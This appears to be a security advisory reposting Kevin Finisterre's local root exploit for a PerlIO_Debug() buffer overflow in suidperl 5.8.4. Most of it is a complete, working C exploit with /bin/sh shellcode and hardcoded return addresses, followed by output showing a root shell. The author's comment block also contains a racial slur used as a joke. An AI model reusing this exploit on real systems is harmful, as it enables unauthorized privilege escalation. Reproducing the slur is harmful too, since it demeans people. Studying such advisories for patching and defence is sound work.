[UNIX] Perl PerlIO_Debug() Buffer Overflow (Suidperl)

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  Perl PerlIO_Debug() Buffer Overflow (Suidperl)
------------------------------------------------------------------------


SUMMARY

Suidperl is "a Perl interpreter that runs executables with setuid 
privileges". A buffer overflow in Perl's handling of PerlIO_Debug() allows 
a local attacker that can run suidperl to gain elevated privileges.

DETAILS

Exploit:
/*
 * Copyright Kevin Finisterre
 *
 * Setuid perl PerlIO_Debug() overflow
 *
 * Tested on Debian 3.1 perl-suid 5.8.4-5
 *
 * (11:07:20) *corezion:* who is tha man with tha masta plan?
 * (11:07:36) *corezion:* a nigga with a buffer overrun
 * (11:07:39) *corezion:* heh
 * (of course that is to the tune of 
http://www.azlyrics.com/lyrics/drdre/niggawittagun.html)
 *
 * cc -o ex_perl2 ex_perl2.c -std=c99
 *
 * kfinisterre@jdam:~$ ./ex_perl2
 * Dirlen: 1052
 * Charlie Murphy!!!@#@
 * sh-2.05b# id
 * uid=1000(kfinisterre) gid=1000(kfinisterre) euid=0(root)
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(int *argc, char **argv)
{
 int len = 23;
  int count = 5;
 char malpath[10000];
 char tmp[256];
 char *filler;
 char *ptr;

 unsigned char code[] =
 /*
   0xff-less execve() /bin/sh by anathema <anathema@hack.co.za>
   Linux/IA32 0xff-less execve() shellcode.
  */
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

        // setuid(0) - fix for redhat based machines
 "\x31\xdb"                      // xorl         %ebx,%ebx
 "\x8d\x43\x17"                  // leal         0x17(%ebx),%eax
 "\xcd\x80"                      // int          $0x80

 "\x89\xe6"                          /* movl %esp, %esi          */
 "\x83\xc6\x30"                      /* addl $0x30, %esi         */
 "\xb8\x2e\x62\x69\x6e"              /* movl $0x6e69622e, %eax   */
 "\x40"                              /* incl %eax                */
 "\x89\x06"                          /* movl %eax, (%esi)        */
 "\xb8\x2e\x73\x68\x21"              /* movl $0x2168732e, %eax   */
 "\x40"                              /* incl %eax                */
 "\x89\x46\x04"                      /* movl %eax, 0x04(%esi)    */
 "\x29\xc0"                          /* subl %eax, %eax          */
 "\x88\x46\x07"                      /* movb %al, 0x07(%esi)     */
 "\x89\x76\x08"                      /* movl %esi, 0x08(%esi)    */
 "\x89\x46\x0c"                      /* movl %eax, 0x0c(%esi)    */
 "\xb0\x0b"                          /* movb $0x0b, %al          */
 "\x87\xf3"                          /* xchgl %esi, %ebx         */
 "\x8d\x4b\x08"                      /* leal 0x08(%ebx), %ecx    */
 "\x8d\x53\x0c"                      /* leal 0x0c(%ebx), %edx    */
 "\xcd\x80"                          /* int $0x80                */;


 chdir("/tmp/");

 // do one less char than usual for RedHat
 filler = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/";
 
 for (int x=0; x<4; x=x+1)
 {
  mkdir(filler, 0777);
  chdir(filler);
  // do one less char than usual for RedHat
  count = count + 255;
 }

        memset(tmp,0x41,len);
 count = count + len;

        ptr = tmp+len;
        ptr = putLong (ptr, 0xbffffb6a); // frame 11 ebp
        ptr = putLong (ptr, 0xbffffb6a);
        ptr = putLong (ptr, 0xbffffb6a);

 strcat(tmp, "/");
 mkdir(tmp, 0777);
 chdir(tmp);

 printf ("Dirlen: %d\n", count);

 FILE *perlsploit;
 char perldummyfile[] = {
                "#!/usr/bin/sperl5.8.4\n"
                "# \n"
                "# Be proud that perl(1) may proclaim: \n"
                "#   Setuid Perl scripts are safer than C programs ...\n"
                "# Do not abandon (deprecate) suidperl. Do not advocate C 
wrappers. \n"
        };

        if(!(perlsploit = fopen("take_me.pl","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(perldummyfile,sizeof(perldummyfile)-1,1,perlsploit);
        fclose(perlsploit);

 getcwd(malpath, 10000);
 strcat(malpath, "/");
 strcat(malpath, "take_me.pl");
 printf("Charlie Murphy!!!@#@\n");

 chmod(malpath,0755);
        setenv("PERLIO_DEBUG", "/tmp/ninjitsu", 1);
 setenv("PERL5LIB", code, 1);
 execv(malpath,(char *) NULL);

}
/*
 * put a address in mem, for little-endian
 *
 */
char*
putLong (char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;

    return ptr;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:kfinisterre@secnetops.biz> 
Kevin Finisterre.



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